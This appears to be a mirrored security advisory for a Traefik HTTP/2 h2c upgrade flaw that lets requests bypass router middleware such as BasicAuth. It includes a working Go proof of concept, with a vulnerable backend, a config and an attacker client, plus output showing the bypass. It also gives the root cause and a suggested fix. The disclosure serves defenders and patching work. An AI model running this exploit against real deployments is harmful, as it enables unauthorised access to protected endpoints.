Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
There is a high-severity request-smuggling vulnerability in Traefik's handling of the HTTP/1.1 Upgrade mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated Upgrade: h2c request header and its connection-specific HTTP2-Settings header were forwarded to the backend. A backend that honours the h2c upgrade and answers 101 Switching Protocols puts Traefik into a raw byte tunnel that bypasses the router and the entire middleware chain (authentication, IPAllowList, rate limiting) on a shared backend. The fix stops forwarding the Upgrade: h2c token and the HTTP2-Settings header; Upgrade: websocket is unaffected. Exploitation requires a backend that upgrades h2c without validating the Connection listing; common off-the-shelf servers were not exploitable in testing.
Traefik v3.4.2 through v3.6 are end-of-life and are also affected; users on those versions must upgrade to v3.7.13.
Patches
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>Summary
Traefik's default HTTP reverse proxy forwards arbitrary Connection: Upgrade / Upgrade: <token> requests to the backend. Upgrade tokens are not restricted to protocols explicitly supported by Traefik.
This is exploitable when a backend accepts a non-WebSocket upgrade such as h2c and responds with 101 Switching Protocols. Traefik then switches the connection into a raw byte tunnel and stops applying the HTTP routing/middleware chain.
An attacker can abuse an unprotected router pointing to the backend to establish the tunnel, then send HTTP/2 requests to other paths on the same backend. Those requests bypass the Traefik router and are therefore not subject to middleware attached to the corresponding protected route.
For example:
1/public /admin 2(no auth) (BasicAuth) 3 | | 4 +----------- same backend ------+ 5 ^ 6 | 7 h2c tunnel 8 | 9 attackerThis allows middleware such as BasicAuth, ForwardAuth, IPAllowList, and RateLimit to be bypassed. Requests sent over the tunnel also bypass Traefik's normal access logging, metrics, and tracing.
The core issue is unrestricted client-initiated protocol upgrades combined with loss of the HTTP routing/middleware layer after 101 Switching Protocols.
Technical Details
The default proxy implementation is pkg/proxy/httputil (the fast proxy remains experimental and is disabled by default).
The relevant request path is:
-
pkg/middlewares/forwardedheaders/forwarded_header.go(removeConnectionHeaders, ~lines 198-234)When
Connection: Upgradeis present, theUpgradeheader is preserved and forwarded downstream. There is no validation that the upgrade token iswebsocket. -
pkg/proxy/httputil/proxy.go(isWebSocketUpgrade, ~line 170)WebSocket receives special header handling through
cleanWebSocketHeaders, but this is not an allowlist. Other upgrade protocols are still passed through. -
pkg/server/service/smart_roundtripper.go(RoundTrip, ~line 56)Requests containing
Connection: Upgradeare sent to the backend over HTTP/1, allowing the backend to perform the upgrade. -
net/http/httputil.ReverseProxyWhen the backend returns
101 Switching Protocols, the reverse proxy switches to tunnel mode and copies bytes between the client and backend.
The security boundary breaks at this point.
The Traefik router and middleware chain are selected only for the initial HTTP/1 request. After the backend returns 101, Traefik no longer parses the connection as HTTP requests and does not re-run routing or middleware for subsequent HTTP/2 streams.
The resulting flow is:
1Attacker 2 | 3 | GET /public 4 | Connection: Upgrade 5 | Upgrade: h2c 6 v 7Traefik 8 | 9 | r-public (no auth)10 v11Backend12 |13 | 101 Switching Protocols14 v15[raw byte tunnel]16 |17 | HTTP/2 GET /admin18 v19BackendThe /admin request never reaches the /admin router. It is sent directly to the backend over the existing tunnel.
I found no upgrade-token allowlist or h2c rejection in the relevant proxy path.
This is distinct from configured h2c support
Traefik already supports explicitly configured h2c backends. In that case, the operator opts into HTTP/2 communication through the h2c:// service scheme / transportH2C configuration.
This issue is different.
The upgrade is initiated by the client through the Upgrade header. Traefik forwards it regardless of whether the operator configured h2c for that backend.
Therefore, a plain HTTP/1 backend can still be affected if it happens to accept Upgrade: h2c and return 101. The protocol switch is initiated by the client, and Traefik does not gate it.
PoC
Reproduced against a Traefik binary built from master at commit 9bb0e55:
1go build ./cmd/traefik 2Go 1.26.4Default configuration was used, with no encodedCharacters or upgrade-related options enabled.
- Backend
The backend implements a minimal HTTP/1.1 → h2c upgrade handler.
It exposes:
/public— unauthenticated/admin— intended to be protected by Traefik
1package main 2 3import ( 4 "bufio" 5 "fmt" 6 "net" 7 "net/http" 8 "strings" 9 10 "golang.org/x/net/http2"11)12 13func main() {14 mux := http.NewServeMux()15 16 mux.HandleFunc("/public", func(w http.ResponseWriter, r *http.Request) {17 fmt.Fprintf(w, "public ok\n")18 })19 20 mux.HandleFunc("/admin", func(w http.ResponseWriter, r *http.Request) {21 fmt.Fprintf(22 w,23 "ADMIN SECRET DATA (proto=%s path=%s)\n",24 r.Proto,25 r.URL.Path,26 )27 })28 29 h2s := &http2.Server{}30 31 ln, _ := net.Listen("tcp", "127.0.0.1:9900")32 33 for {34 c, err := ln.Accept()35 if err != nil {36 return37 }38 39 go func(conn net.Conn) {40 br := bufio.NewReader(conn)41 var sb strings.Builder42 43 for {44 line, err := br.ReadString('\n')45 if err != nil {46 return47 }48 49 sb.WriteString(line)50 51 if line == "\r\n" {52 break53 }54 }55 56 if strings.Contains(sb.String(), "Upgrade: h2c") {57 conn.Write([]byte(58 "HTTP/1.1 101 Switching Protocols\r\n" +59 "Connection: Upgrade\r\n" +60 "Upgrade: h2c\r\n\r\n",61 ))62 63 h2s.ServeConn(conn, &http2.ServeConnOpts{64 Handler: mux,65 })66 67 return68 }69 70 conn.Close()71 }(c)72 }73}
- Traefik configuration
traefik.yml:
1entryPoints: 2 web: 3 address: "127.0.0.1:9080" 4 5providers: 6 file: 7 filename: "dynamic.yml"dynamic.yml:
1http: 2 routers: 3 r-public: 4 rule: "PathPrefix(`/public`)" 5 entryPoints: ["web"] 6 service: svc 7 8 r-admin: 9 rule: "PathPrefix(`/admin`)"10 entryPoints: ["web"]11 service: svc12 middlewares: ["adminauth"]13 14 middlewares:15 adminauth:16 basicAuth:17 users:18 - "admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs."19 20 services:21 svc:22 loadBalancer:23 servers:24 - url: "http://127.0.0.1:9900"Both routers terminate on the same backend. Only /admin has authentication.
- Attacker
The PoC first verifies that /admin is protected, then establishes an unauthenticated h2c tunnel through /public and sends /admin over the resulting HTTP/2 connection.
1package main 2 3import ( 4 "fmt" 5 "io" 6 "net" 7 "net/http" 8 "strings" 9 "time"10 11 "golang.org/x/net/http2"12)13 14func main() {15 front := "127.0.0.1:9080"16 17 resp, _ := http.Get("http://" + front + "/admin")18 b, _ := io.ReadAll(resp.Body)19 resp.Body.Close()20 21 fmt.Printf(22 "[1] Direct GET /admin (no creds) -> %d %q\n",23 resp.StatusCode,24 strings.TrimSpace(string(b)),25 )26 27 raw, _ := net.Dial("tcp", front)28 29 raw.Write([]byte(30 "GET /public HTTP/1.1\r\n" +31 "Host: x\r\n" +32 "Connection: Upgrade, HTTP2-Settings\r\n" +33 "Upgrade: h2c\r\n" +34 "HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\r\n" +35 "\r\n",36 ))37 38 buf := make([]byte, 256)39 40 raw.SetReadDeadline(time.Now().Add(3 * time.Second))41 n, _ := raw.Read(buf)42 43 fmt.Printf(44 "[2] Upgrade: h2c to /public (no auth) -> %q\n",45 strings.SplitN(string(buf[:n]), "\r\n", 2)[0],46 )47 48 raw.SetReadDeadline(time.Time{})49 50 cc, _ := (&http2.Transport{}).NewClientConn(raw)51 52 req, _ := http.NewRequest("GET", "http://x/admin", nil)53 54 r2, _ := cc.RoundTrip(req)55 b2, _ := io.ReadAll(r2.Body)56 r2.Body.Close()57 58 fmt.Printf(59 "[3] HTTP/2 GET /admin over tunnel -> %d %q\n",60 r2.StatusCode,61 strings.TrimSpace(string(b2)),62 )63}Result
1[1] Direct GET /admin (no creds) -> 401 "401 Unauthorized" 2[2] Upgrade: h2c to /public (no auth) -> "HTTP/1.1 101 Switching Protocols" 3[3] HTTP/2 GET /admin over tunnel -> 200 "ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)"This demonstrates the bypass:
- Direct
/admin→401 - Unauthenticated
/public→101 /adminover the established h2c tunnel →200
The PoC therefore shows that the /admin middleware is enforced for normal requests but is completely bypassed once the attacker establishes the upgrade tunnel.
Impact
The issue is exploitable when:
- An attacker can reach a router without the relevant security middleware.
- That router points to the same backend as a protected router.
- The backend accepts
Upgrade: h2cand returns101 Switching Protocols. - Traefik allows the resulting upgrade to complete.
Under these conditions, an unauthenticated attacker can bypass middleware protecting other paths on the same backend.
Potentially affected middleware includes:
BasicAuthForwardAuthIPAllowListRateLimit- header/security middleware
- other per-request middleware attached to the protected router
The tunneled requests also bypass Traefik's normal request processing and therefore do not appear as individual requests in the normal access logs, metrics, or tracing pipeline.
The impact is therefore not limited to auth bypass. Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik.
Scope / Preconditions
The backend must support the HTTP/1.1 → h2c upgrade mechanism and return 101 Switching Protocols.
This is not true for every HTTP/2-capable backend.
For example, recent golang.org/x/net/http2/h2c implementations no longer support the HTTP/1.1 upgrade mechanism, so a current Go h2c server using that implementation is not necessarily affected.
Older implementations, non-Go servers, custom h2c handlers, and some gRPC-related stacks may still accept the upgrade.
Therefore, this is not a generic "Traefik + HTTP/2 backend = vulnerable" issue. The backend's ability to accept the client-initiated upgrade is a required prerequisite.
The Traefik-side issue itself does not depend on the operator explicitly configuring h2c: the upgrade is client-initiated, forwarded by Traefik, and followed by a transition out of the HTTP routing/middleware path.
Suggested Fix
The proxy should only forward upgrade protocols explicitly supported and negotiated by Traefik, e.g. WebSocket.
At minimum, unsupported upgrade tokens should be rejected or stripped before forwarding upstream:
1Upgrade: h2c 2Upgrade: <arbitrary-token>More generally, Traefik should not treat an arbitrary 101 Switching Protocols response as sufficient to transition into a tunnel unless the requested upgrade protocol is explicitly supported by Traefik.
The relevant security property is:
A client must not be able to select an arbitrary protocol upgrade and thereby escape Traefik's HTTP routing/middleware layer.
TL;DR
Traefik forwards arbitrary client-supplied Upgrade tokens.
If a backend accepts Upgrade: h2c and returns 101, Traefik switches the connection into a raw tunnel. HTTP/2 requests sent through that tunnel are no longer processed by Traefik's routers or middleware.
An attacker can therefore use an unprotected router to establish the tunnel and reach protected paths on the same backend:
1/public (no auth) 2 | 3 | Upgrade: h2c 4 v 5 Traefik 6 | 7 | 101 8 v 9 raw tunnel10 |11 | HTTP/2 GET /admin12 v13 Backend14 |15 v16/admin17(middleware bypassed)In the PoC, a direct unauthenticated request to /admin returns 401, while the same endpoint accessed over the h2c tunnel returns 200.
The root cause is unrestricted client-initiated protocol upgrades combined with the loss of Traefik's HTTP routing/middleware enforcement after 101 Switching Protocols.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 7
링크 내용 불러오는 중…